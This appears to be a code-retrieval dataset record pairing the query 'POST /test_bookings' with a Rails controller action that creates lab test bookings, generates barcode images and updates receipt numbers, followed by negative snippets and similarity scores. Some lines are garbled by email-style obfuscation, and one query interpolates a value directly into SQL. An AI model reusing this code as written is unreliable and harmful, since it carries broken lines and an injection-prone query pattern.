"def new\n @shopping = Shopping.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shopping }\n end\n end",
"def new\n @bookmark = Bookmark.new(:tags => [Tag.new])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bookmark }\n end\n end",
"def new\n @page = Page.new(:status => params[:from])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @atest = Atest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atest }\n end\n end",
"def new\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @book }\n end\n end",
"def new\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @book }\n end\n end",
"def new\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @book }\n end\n end",
"def new\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @book }\n end\n end",
"def new\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @book }\n end\n end"
] | [
"0.7319991",
"0.7318187",
"0.70825535",
"0.6902061",
"0.68918467",
"0.6891439",
"0.6881508",
"0.6878061",
"0.6878061",
"0.6878061",
"0.6878061",
"0.6878061",
"0.6878061",
"0.6878061",
"0.6878061",
"0.68481606",
"0.67635816",
"0.67561007",
"0.6727416",
"0.6717058",
"0.6686087",
"0.66676885",
"0.6656777",
"0.66415507",
"0.66415507",
"0.6633519",
"0.66285336",
"0.6609685",
"0.6596569",
"0.6594361",
"0.6594361",
"0.65777904",
"0.65304047",
"0.64972186",
"0.6482231",
"0.64654",
"0.64548826",
"0.64417666",
"0.6434745",
"0.6430768",
"0.6425164",
"0.6415105",
"0.6415105",
"0.6410289",
"0.64066505",
"0.6400498",
"0.6398775",
"0.6390341",
"0.6386405",
"0.6386405",
"0.6368142",
"0.63549995",
"0.6344486",
"0.6344396",
"0.63435197",
"0.6339695",
"0.6328905",
"0.6327942",
"0.63242036",
"0.6319838",
"0.63045794",
"0.6301602",
"0.62803876",
"0.62745684",
"0.62661827",
"0.6265352",
"0.6262921",
"0.62610203",
"0.62610203",
"0.62610203",
"0.6258497",
"0.6256741",
"0.6256741",
"0.62532926",
"0.62509775",
"0.62498933",
"0.6247288",
"0.6247288",
"0.6244001",
"0.6243528",
"0.624012",
"0.6237718",
"0.6232512",
"0.62317485",
"0.6226288",
"0.6223393",
"0.6220898",
"0.62194294",
"0.6217915",
"0.6216186",
"0.6216186",
"0.62147415",
"0.6212444",
"0.6211972",
"0.6205798",
"0.62008744",
"0.61988235",
"0.61988235",
"0.61988235",
"0.61988235",
"0.61988235"
] | 0.0 | -1 |
POST /test_bookings POST /test_bookings.xml | def create
@admission = Admission.new
@session_id=session[:id]
@session = Session.find(session[:id])
@person = Person.find(@session.person_id)
@[email protected]_code
@[email protected]_location
@test_booking = TestBooking.new(params[:test_booking])
@item_master=ChargeMaster.all(:conditions => "org_code = '#{@org_code}'")
@admissions = Admission.all(:conditions => "admn_status = 'admitted'", :order => "id DESC")
@registration=Registration.all(:order => "id DESC")
# code for barcode
barcode1= @test_booking.barcode_id
path= "public/images/barcodeimages/#{@test_booking.lab_no}.png"
barcode = Barby::Code128B.new(barcode1)
File.open(path , 'wb'){|f|
f.write barcode.to_png(:margin => 3, :xdim => 2, :height => 55)
}
respond_to do |format|
if @test_booking.save
@receipt_number=Number.find_by_name_and_org_code('receipt',@person.org_code)
@receipt_number.value=@test_booking.bill_no
@receipt_number.update_attributes(params[:receipt_number])
format.html { redirect_to("/test_bookings/report/#{@test_booking.id}?print_type=original&format=pdf") }
format.xml { render :xml => @test_booking, :status => :created, :location => @test_booking }
else
@reg=Registration.find_by_mr_no(@test_booking.mr_no)
if(@reg)
@[email protected]
end
format.html { render :action => "new" }
format.xml { render :xml => @test_booking.errors, :status => :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n\t\tbooking = Booking.new(booking_params)\n\n\t if booking.save\n\t \tPeekBooker.use_a_boat(booking.size, booking.timeslot_id)\n\t \tPeekBooker.delete_overlap_assignments(booking.timeslot_id)\n\t \tPeekBooker.upd_availability(booking.timeslot_id)\n\t \t\n\t \trender json: booking, status: 201\n\t end\n\tend",
"def create\n @booking = @room.bookings.build(params[:booking])\n\n respond_to do |format|\n if @booking.save\n flash[:notice] = 'Booking was successfully created.'\n format.html { redirect_to property_url(@room.property) }\n format.xml { render :xml => @booking, :status => :created, :location => @booking }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @booking.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @test_booking_child = TestBookingChild.new(params[:test_booking_child])\n\n respond_to do |format|\n if @test_booking_child.save\n format.html { redirect_to(@test_booking_child, :notice => 'TestBookingChild was successfully created.') }\n format.xml { render :xml => @test_booking_child, :status => :created, :location => @test_booking_child }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @test_booking_child.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @ninety_ten_booking = NinetyTenBooking.new(ninety_ten_booking_params)\n\n respond_to do |format|\n if @ninety_ten_booking.save\n format.html { redirect_to @ninety_ten_booking, notice: 'Ninety ten booking was successfully created.' }\n format.json { render :show, status: :created, location: @ninety_ten_booking }\n else\n format.html { render :new }\n format.json { render json: @ninety_ten_booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n @booking = Booking.new(params[:booking])\n params[:booking][:end_time] = @booking.end_time\n \n\n \n @booking = Booking.new(params[:booking])\n if @booking.weights == 1\n @booking.no_ergs = 0\n end\n \n respond_to do |format|\n if @booking.save\n flash[:notice] = 'Your booking was successfully created.'\n format.html { redirect_to bookings_path }\n format.xml { render :xml => @booking, :status => :created, :location => @booking }\n else\n format.html { render :action => \"index\" }\n format.xml { render :xml => @booking.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n booking = Booking.create(booking_params)\n render json: booking\n end",
"def test_agent_new_enquiries\n agent_id = Agents::Branches::AssignedAgent.last.id\n verification_status = true\n get :agent_new_enquiries, { agent_id: agent_id }\n attach_agent_to_property_and_update_details(agent_id, SAMPLE_UDPRN, 'Green', \n verification_status, SAMPLE_BEDS, SAMPLE_BATHS, \n SAMPLE_RECEPTIONS)\n\n # assert_response 200\n # earlier_response = Oj.load(@response.body)\n # assert_equal earlier_response['enquiries'].length, 0\n len = 0\n buyer_id = PropertyBuyer.last.id\n\n property_details = get_es_address(SAMPLE_UDPRN)\n Trackers::Buyer::ENQUIRY_EVENTS.each do |event|\n process_event_helper(event, @address_doc['_source'], agent_id)\n get :agent_new_enquiries, { agent_id: agent_id }\n len += 1\n assert_response 200\n response = Oj.load(@response.body)\n assert_equal response['enquiries'].length, len\n\n ### Test property attributes\n attrs = ['price', 'street_view_image_url', 'udprn', 'offers_over', \n 'fixed_price', 'asking_price', 'dream_price', 'current_valuation', 'verification_status']\n attrs.each do |attr_val|\n assert_equal response['enquiries'].last[attr_val], property_details['_source'][attr_val]\n end\n\n assert_equal response['enquiries'].last['status'], property_details['_source']['property_status_type']\n\n ### Test buyer attributes\n buyer = PropertyBuyer.find(buyer_id).as_json\n buyer_attrs = ['id', 'status', 'full_name', 'email', 'image_url', 'mobile', 'budget_from', 'budget_to']\n buyer_attrs.each do |attr_val|\n assert_equal response['enquiries'].last[\"buyer_#{attr_val}\"], buyer[attr_val]\n end\n\n assert_equal response['enquiries'].last['buyer_funding'], PropertyBuyer::REVERSE_FUNDING_STATUS_HASH[buyer['funding']]\n assert_equal response['enquiries'].last['buyer_biggest_problem'], PropertyBuyer::REVERSE_FUNDING_STATUS_HASH[buyer['biggest_problem']]\n assert_equal response['enquiries'].last['buyer_buying_status'], PropertyBuyer::REVERSE_FUNDING_STATUS_HASH[buyer['buying_status']]\n \n ### Test enquiries, views, hotness and qualifying_stage \n enquiries = response['enquiries'].last['enquiries']\n buyer_enquiries = enquiries.split('/')[0].to_i\n total_enquiries = enquiries.split('/')[1].to_i\n assert_equal buyer_enquiries, total_enquiries\n end\n\n ### Test viewed\n process_event_helper('viewed', @address_doc['_source'])\n get :agent_new_enquiries, { agent_id: agent_id }\n response = Oj.load(@response.body)\n views = response['enquiries'].last['views']\n buyer_views = views.split('/')[0].to_i\n total_views = views.split('/')[1].to_i\n assert_equal total_views, 1\n assert_equal buyer_views, 1\n\n\n ### Test hotness\n assert_equal response['enquiries'].last['hotness'], 'cold_property'\n process_event_helper('warm_property', @address_doc['_source'])\n get :agent_new_enquiries, { agent_id: agent_id }\n response = Oj.load(@response.body)\n hotness = response['enquiries'].last['hotness']\n assert_equal hotness, 'warm_property'\n\n process_event_helper('hot_property', @address_doc['_source'])\n get :agent_new_enquiries, { agent_id: agent_id }\n response = Oj.load(@response.body)\n hotness = response['enquiries'].last['hotness']\n assert_equal hotness, 'hot_property'\n\n #### Test qualifying stage filter\n (Trackers::Buyer::QUALIFYING_STAGE_EVENTS-[:qualifying_stage, :viewing_stage]).each do |event|\n process_event_helper(event, @address_doc['_source'])\n get :agent_new_enquiries, { agent_id: agent_id }\n response = Oj.load(@response.body)\n stage = response['enquiries'].last['qualifying']\n assert_equal stage, event.to_s\n\n get :agent_new_enquiries, { agent_id: agent_id, qualifying_stage: event }\n response = Oj.load(@response.body)\n response['enquiries'].each do |each_elem|\n assert_equal each_elem['qualifying'], event.to_s\n end\n\n end\n\n ### Test Filters\n ### i) enquiry_type\n (Trackers::Buyer::ENQUIRY_EVENTS-[:viewing_stage]).each do |event|\n get :agent_new_enquiries, { agent_id: agent_id, enquiry_type: event }\n response = Oj.load(@response.body)\n assert_equal response['enquiries'].length, 1\n end\n\n ### ii) type_of_match\n get :agent_new_enquiries, { agent_id: agent_id }\n response = Oj.load(@response.body)\n response_length = response['enquiries'].length\n\n get :agent_new_enquiries, { agent_id: agent_id, type_of_match: 'Potential' }\n response = Oj.load(@response.body)\n assert_equal response['enquiries'].length, 0\n\n get :agent_new_enquiries, { agent_id: agent_id, type_of_match: 'Perfect' }\n response = Oj.load(@response.body)\n # assert_equal response['enquiries'].length, response_length\n\n ### Test for rent properties\n create_rent_enquiry_event\n attach_agent_to_property_and_update_details(agent_id, '123456', 'Rent', \n verification_status, SAMPLE_BEDS, SAMPLE_BATHS, \n SAMPLE_RECEPTIONS)\n\n\n property_status_type = 'Rent'\n\n get :agent_new_enquiries, { agent_id: agent_id, property_for: 'Rent' }\n assert_response 200\n response = Oj.load(@response.body)\n assert_equal response.length, 1\n destroy_rent_enquiry_event\n end",
"def create\n @booking = Booking.new(params[:booking])\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render json: @booking, status: :created, location: @booking }\n else\n format.html { render action: \"new\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @booking = Booking.new(params[:booking])\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render json: @booking, status: :created, location: @booking }\n else\n format.html { render action: \"new\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @booking = @hairdresser.bookings.create(booking_params)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to hairdresser_booking_path(@hairdresser,@booking), notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @booking = Booking.new(booking_params)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to admin_bookings_url, notice: 'Bookingen er nu oprettet.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @booking = Booking.new(booking_params)\n begin\n @response = Booking.create_booking(booking_options)\n @booking.log = @response\n @booking.picap_id = @response[\"_id\"]\n notice = \"Booking was successfully created.\"\n rescue RestClient::Exception => exception\n @booking.log = exception.response\n alert = exception.response\n end\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to root_path, notice: notice, alert: alert }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @booking = Booking.new(booking_params)\n @booking.save\n redirect_to action: \"index\"\n end",
"def create\n @booking = Booking.new(booking_params)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: \"Booking was successfully created.\" }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def timeline\n @bookings = Booking.find_waiting_pickup\n respond_to do |format|\n format.xml\n end\n end",
"def test_add_new_book\n @library.add_new_book(\"catch_22\")\n expected = {\n title: 'catch_22',\n rental_details: {\n student_name: '',\n date: ''\n }\n }\n assert_equal(expected, @library.get_book('catch_22'))\n end",
"def create\n @booking = Booking.new(booking_params)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def parse_booking_details_and_store(response, property)\n new_bookings = []\n bookings_data = response.xpath(\"//agoda:BookingDetailData\", 'agoda' => AgodaChannel::XMLNS)\n bookings_data.each do |booking_data|\n puts booking_data\n new_booking = AgodaBooking.new\n new_booking.property = property\n new_booking.channel = channel\n\n # set pool that this current channel currently belongs to\n new_booking.pool = PropertyChannel.find_by_property_id_and_channel_id(property.id, channel.id).pool\n\n room_type_data = booking_data.xpath('./agoda:RoomType', 'agoda' => AgodaChannel::XMLNS)\n\n # find the chanelink room type that this booking correspond to\n room_type_map = RoomTypeChannelMapping.find_by_ota_room_type_id(room_type_data.attr('RoomTypeID').value)\n\n puts room_type_data.attr('RoomTypeID').value\n if room_type_map and room_type_map.active?\n new_booking.room_type = room_type_map.room_type\n end\n\n # set all the data into our own booking object\n new_booking.guest_name = booking_data.xpath('./agoda:Guests/agoda:Guest/agoda:Name', 'agoda' => AgodaChannel::XMLNS).text\n new_booking.date_start = booking_data.xpath('./agoda:DateRange', 'agoda' => AgodaChannel::XMLNS).attr('Start').value\n new_booking.date_end = booking_data.xpath('./agoda:DateRange', 'agoda' => AgodaChannel::XMLNS).attr('End').value\n new_booking.booking_date = booking_data.xpath('./agoda:BookingDate', 'agoda' => AgodaChannel::XMLNS).text\n\n new_booking.total_rooms = booking_data.xpath('./agoda:NoOfRoom', 'agoda' => AgodaChannel::XMLNS).text\n new_booking.amount = booking_data.xpath('./agoda:Rates', 'agoda' => AgodaChannel::XMLNS).attr('inclusive').value\n\n new_booking.agoda_booking_id = booking_data.xpath('./agoda:BookingID', 'agoda' => AgodaChannel::XMLNS).text\n\n if new_booking.save\n new_bookings << new_booking\n else\n new_bookings << AgodaBooking.find_by_agoda_booking_id(new_booking.agoda_booking_id)\n end\n end\n new_bookings\n end",
"def test_should_create_post_via_API_XML\r\n get \"/logout\"\r\n post \"/forum_posts.xml\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n end",
"def test_create_booking_with_invalid_passengers\n get root_path\n assert_no_difference ['Booking.count', 'Passenger.count', 'ActionMailer::Base.deliveries.size'] do\n post_via_redirect '/bookings', {booking: {flight_id: @flight.id, passenger_count: 3, passenger: {0 => {name: \"\", email: \"[email protected]\"}, 1 => {name: \"C. Douglass\", email: \"\"}, 2 => {name: \"John Smith\", email: \"[email protected]\"}}}}, {'HTTP_REFERER' => \"/bookings/new?passenger_count=1&flight_id=#{@flight.id}&commit=Book+flight!\"}\n end\n refute flash.empty?\n assert_template 'bookings/new'\n end",
"def test_book_kind\n data = post_book('id' => 1)\n assert_equal('book', data[0]['kind'])\n end",
"def create\n @booking = @instrument.bookings.new(booking_params)\n @booking.user = current_user\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: t('.success') }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gbooking = Gbooking.new(gbooking_params)\n @gbooking.user = current_user if current_user\n if @gbooking.save\n params[:customizebookings].each_with_index do |customizebooking,index|\n customizebooking.permit!\n @customizebooking = Customizebooking.new(customizebooking.permit!)\n @customizebooking.number = index + 1\n @customizebooking.gbooking = @gbooking\n @customizebooking.save\n end\n\n respond_to do |format|\n format.html { redirect_to(@gbooking, :notice => 'Customizebooking was successfully created.') }\n format.xml { render :xml => @customizebooking, :status => :created, :location => @customizebooking }\n end\n end\n end",
"def create\n @booking_waitlist = BookingWaitlist.new(booking_waitlist_params)\n\n respond_to do |format|\n if @booking_waitlist.save\n format.html { redirect_to @booking_waitlist, notice: 'Booking waitlist was successfully created.' }\n format.json { render :show, status: :created, location: @booking_waitlist }\n else\n format.html { render :new }\n format.json { render json: @booking_waitlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_get_book_by_edition_group_id\n data = post_book('edition_group_id' => 1)\n assert_equal(1, data[0]['data']['edition_group_id'])\n end",
"def test_get_book_by_id\n data = post_book('id' => 1)\n assert_equal(1, data[0]['data']['id'])\n end",
"def create\n set_parent\n set_session\n if @session.bookings.where(user_id: @parent.id) != []\n render_booked\n else\n @booking = Booking.new(booking_params)\n @booking.parent = @parent\n @booking.session = @session\n if @booking.save\n render json: { booking: @booking, status: :success }\n else\n render_error\n end\n end\n end",
"def create\n \r\n current_user.readings.create(:listing_id => params[:listing_id])\r\n respond_to do |format|\r\n #need to call create on a listing to increment counter\n format.xml { head :ok }\r\n end\r\n \n end",
"def destroy\n @test_booking = TestBooking.find(params[:id])\n @test_booking.destroy\n\n respond_to do |format|\n format.html { redirect_to(test_bookings_url) }\n format.xml { head :ok }\n end\n end",
"def booking(data)\n payload = safe_access(data)\n\n params = {\n property_id: payload.get(\"inquiry.room.property_id\"),\n inquiry_id: payload.get(\"inquiry.id\"),\n unit_id: payload.get(\"inquiry.room.unit_id\"),\n check_in: payload.get(\"inquiry.check_in\"),\n check_out: payload.get(\"inquiry.check_out\"),\n guests: payload.get(\"inquiry.num_guests\"),\n subtotal: payload.get(\"inquiry.subtotal\"),\n currency_code: payload.get(\"inquiry.currency_code\"),\n customer: {\n first_name: payload.get(\"inquiry.user.first_name\"),\n last_name: payload.get(\"inquiry.user.last_name\"),\n email: payload.get(\"inquiry.user.email\"),\n phone: payload.get(\"inquiry.user.phone_number\")\n }\n }\n\n env[\"rack.input\"] = StringIO.new(json_encode(params))\n true\n end",
"def create\n @booking = Booking.new(booking_params)\n @booking.treehouse = @treehouse\n @booking.user = current_user\n authorize @booking\n\n if @booking.save\n flash[:notice] = \"Booking Confirmed!\"\n redirect_to user_path(current_user)\n\n else\n flash[:alert] = \"Booking Failed\"\n redirect_to @treehouse\n end\n end",
"def create\n @addbook = Addbook.new(params[:addbook])\n\n respond_to do |format|\n if @addbook.save\n flash[:notice] = 'Addbook was successfully created.'\n format.html { redirect_to(@addbook) }\n format.xml { render :xml => @addbook, :status => :created, :location => @addbook }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @addbook.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_post_sample_traces\n header 'Content-Type', 'application/json'\n\n (0..4).each do |i|\n data = File.read \"sample-traces/#{i}.json\"\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n assert last_response.ok?\n end\n end",
"def create\n @house_book = HouseBook.new(params[:house_book])\n\n respond_to do |format|\n if @house_book.save\n format.html { redirect_to(@house_book, :notice => 'House book was successfully created.') }\n format.xml { render :xml => @house_book, :status => :created, :location => @house_book }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @house_book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_should_create_link_via_API_XML\r\n get \"/logout\"\r\n post \"/links.xml\", :api_key=>'testapikey',\r\n :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response :created\r\n end",
"def create\n\n checkIn = parse_datetime_params booking_params, \"check_in\", utc_or_local = \"AEST\"\n checkOut = parse_datetime_params booking_params, \"checkout\", utc_or_local = \"AEST\"\n @service_id = params[:booking][:service_id].to_i\n @consultant_id = Service.find(@service_id).user_id\n @consumer_id = current_user.id\n\n @booking = Booking.new({\n consultant_id: @consultant_id,\n consumer_id: @consumer_id,\n service_id: @service_id,\n status: \"Unconfirmed\",\n check_in: checkIn,\n checkout: checkOut\n })\n\n respond_to do |format|\n if @booking.save\n # ContactMailer.send_contact_email(message:\"Accepted\").deliver_now\n format.html { redirect_to @booking, notice: 'Booking was successfully created. This booking will not be confirmed until the consultant approves it.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @booking_status = BookingStatus.new(booking_status_params)\n\n respond_to do |format|\n if @booking_status.save\n format.html { redirect_to @booking_status, notice: 'Booking status was successfully created.' }\n format.json { render :show, status: :created, location: @booking_status }\n else\n format.html { render :new }\n format.json { render json: @booking_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shipping_book = ShippingBook.new(shipping_book_params)\n\n respond_to do |format|\n if @shipping_book.save\n format.html { redirect_to @shipping_book, notice: 'Shipping address in Shipping book was successfully created.' }\n format.json { render :show, status: :created, location: @shipping_book }\n else\n format.html { render :new }\n format.json { render json: @shipping_book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def feed\n @bookings = Booking.find_waiting_pickup\n respond_to do |format|\n format.rss\n end\n end",
"def create\n @api_book = Api::Book.new(api_book_params)\n\n if @api_book.save\n render json: @api_book, status: :created, location: @api_book\n else\n render json: @api_book.errors, status: :unprocessable_entity\n end\n end",
"def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end",
"def create_booking(params)\n credentials = Concierge::Credentials.for(supplier_name)\n RentalsUnited::Client.new(credentials).book(params)\n end",
"def create\n # puts params\n @booking = Booking.new(booking_params)\n respond_to do |format|\n if Booking.validate(booking_params) and Booking.time_checking(@booking) and @booking.save\n # if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.'}\n format.json { render :index, status: :created, location: @booking }\n else\n # @listing_id = @booking.listing_id\n format.html { redirect_to bookings_new_path(:listing_id => @booking.listing_id)}\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n flash[:notice] = \"The date is invalid or is booked.\"\n end\n end\n end",
"def make_booking(property_id, arrival_date, departure_date, guest)\n message = builder.new(encoding: 'utf-8') do |xml|\n xml.root do\n xml.APIUsername credentials.username\n xml.APIPassword credentials.password\n xml.BD do\n xml.ArrivalDate arrival_date\n xml.DepartureDate departure_date\n xml.PropertyID property_id\n guest.to_xml(xml)\n xml.PoolHeatRequired false\n xml.xmlMsg\n xml.jSonMsg\n end\n end\n end\n message.doc.root.children.to_xml\n end",
"def create\n @bookalawn = Bookalawn.new(bookalawn_params)\n\n respond_to do |format|\n if @bookalawn.save\n format.html { redirect_to @bookalawn, notice: 'Booking was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bookalawn }\n else\n format.html { render action: 'new' }\n format.json { render json: @bookalawn.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @bookings = Booking.all\n respond_with(@bookings)\n end",
"def index\n bookings = Booking.all\n\n if bookings\n render json: { status: 'SUCCESS', message: 'Successfuly got all bookings', data: bookings }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Something went wrong' }, status: :unprocessable_entity\n end\n end",
"def create\n @booking = Booking.new(booking_params)\n @tour = Tour.find(booking_params[:tour_id])\n @booking_waitlisted = Booking.new(booking_params)\n if (@tour.seats.to_i >= booking_params[:seats_booked].to_i)\n seats = @tour.seats.to_i - booking_params[:seats_booked].to_i\n @tour.seats = seats\n @tour.save\n @booking.status = 1\n else\n if (booking_params[:preference] == \"Book available seats\" && @tour.seats.to_i > 0)\n @booking.seats_booked = @tour.seats\n seats = 0\n @tour.seats = seats\n @tour.save\n @booking.status = 1\n elsif (booking_params[:preference] == \"Book Available seats and add remaining to waitlist\")\n @booking.seats_booked = @tour.seats\n @tour.seats = 0\n @tour.save\n @booking.status = 1\n\n # to handle waitlist seats\n @booking_waitlisted.seats_booked = @booking_waitlisted.seats_booked - @booking.seats_booked\n @booking_waitlisted.status = 0\n @booking_waitlisted.save\n elsif (booking_params[:preference] == \"Book only if all seats are available\")\n @booking.status = 0\n end\n end\n respond_to do |format|\n if @booking.save\n format.html { redirect_to bookings_url, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @current_user = User.find(session[:user_id])\n @booking = Booking.new(\n user_id: @current_user.id,\n department_id: params[:data]['department_id'],\n timeStamp: params[:data]['timeStamp'],\n doctorsBoard: params[:data]['doctorsBoard'],\n description: params[:data]['description']\n )\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def booking_params\n params.require(:booking).permit(:date_check_in, :date_check_out,\n :total_price, :status, :description)\n end",
"def create\n @online_booking = OnlineBooking.new(online_booking_params)\n\n respond_to do |format|\n if @online_booking.save\n format.html { redirect_to @online_booking, notice: 'Online booking was successfully created.' }\n format.json { render :show, status: :created, location: @online_booking }\n else\n format.html { render :new }\n format.json { render json: @online_booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_business(business, location)\n xml = Builder::XmlMarkup.new\n query = xml.tag!(\"BPMSPost\", 'Edition' => \"1.1\") {\n xml.tag!(\"Record\") {\n xml.tag!(\"Phone\", location.phone)\n xml.tag!(\"BusinessName\", location.location_name)\n xml.tag!(\"Address\", location.address)\n xml.tag!(\"City\", location.city)\n xml.tag!(\"State\", location.state)\n xml.tag!(\"Zip\", location.zip)\n xml.tag!(\"URL\", location.website_url)\n xml.tag!(\"TagLine\", location.special_offer)\n #xml.tag!(\"LogoImage\", location.logo)\n xml.tag!(\"Categories\") {\n xml.tag!(\"Category\") {\n xml.tag!(\"Type\", \"Primary\")\n xml.tag!(\"Name\", business.industry_primary)\n }\n if business.industry_alt_1.present?\n xml.tag!(\"Category\") {\n xml.tag!(\"Type\", \"Alt1\")\n xml.tag!(\"Name\", business.industry_alt_1)\n }\n end\n if business.industry_alt_2.present?\n xml.tag!(\"Category\") {\n xml.tag!(\"Type\", \"Alt2\")\n xml.tag!(\"Name\", business.industry_alt_2)\n }\n end\n }\n }\n }\n body = build_request(3700, 1510, query)\n response = send_to_localeze(body)\n xml_doc = respond_with_hash(Nokogiri::XML(response.to_xml).text)\n xml_doc['Error'] == '0' # success (returns true/false)\n end",
"def new\n @test_booking_child = TestBookingChild.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @test_booking_child }\n end\n end",
"def test_post_request_collection\n params = {\n size: 3,\n employmentTypeUris: ['/dk/atira/pure/person/employmenttypes/academic'],\n employmentStatus: 'ACTIVE'\n }\n response = client.persons.all_complex params: params\n assert_equal response.code, 200\n assert_instance_of HTTP::Response, response\n end",
"def test_index \n post :index \n assert_response :success \n end",
"def booking_params\n params.require(:booking).permit(:check_in, :check_out, :total_amount, :rental_amount, :service_fee)\n end",
"def test_create_and_show\r\n assert_difference \"Helpful.count\" do\r\n post :create, :helpful_type => \"reviews\", :helpful_id => @review.to_param, :helpful => \"1\"\r\n assert_response :success\r\n end\r\n end",
"def create\n @booking = @salon.bookings.new(booking_params)\n selected_days = params[:select_days]\n selected_time = params[:select_time]\n timeslot = Time.parse(\"#{selected_days} #{selected_time}\")\n @booking.bookings_services.build(service_id: params[:booking][:service_ids][0], timeslot: timeslot)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to [@salon, @booking], notice: \"Booking was successfully created.\" }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @booking = Booking.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @booking }\n end\n end",
"def create\n @booker = Booker.new(params[:booker])\n\n respond_to do |format|\n if @booker.save\n format.html { redirect_to(@booker, :notice => 'Booker was successfully created.') }\n format.xml { render :xml => @booker, :status => :created, :location => @booker }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @booker.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_save_advice\r\n \r\n post :save_advice, :id => @Questionnaire, :advice => { \"1\"=> { :advice => \"test\" } } \r\n \r\n assert_response :redirect\r\n assert_equal \"The questionnaire's question advice was successfully saved\", flash[:notice]\r\n assert_redirected_to :action => 'list'\r\n end",
"def test_add_book\n @d.add_book\n assert_equal @d.resources[\"books\"], 1\n @d.add_book\n assert_equal @d.resources[\"books\"], 2\n end",
"def index\n @ninety_ten_bookings = NinetyTenBooking.all\n end",
